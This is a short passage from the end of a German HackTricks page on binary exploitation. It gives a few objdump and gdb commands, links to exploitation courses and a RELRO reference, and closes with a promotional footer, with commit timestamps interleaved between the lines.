**objdump -D ./exec** —> Disas ALL bis zu den Einträgen der plt\
**objdump -p -/exec**\
**Info functions strncmp —>** Info zur Funktion in gdb
2024-02-10 15:36:32 +00:00
## Interessante Kurse
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
2024-02-10 15:36:32 +00:00
## **Referenzen**
2021-09-26 15:10:12 +00:00
2022-04-05 22:24:52 +00:00
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-30 10:12:47 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
2022-04-28 16:01:33 +00:00
</details>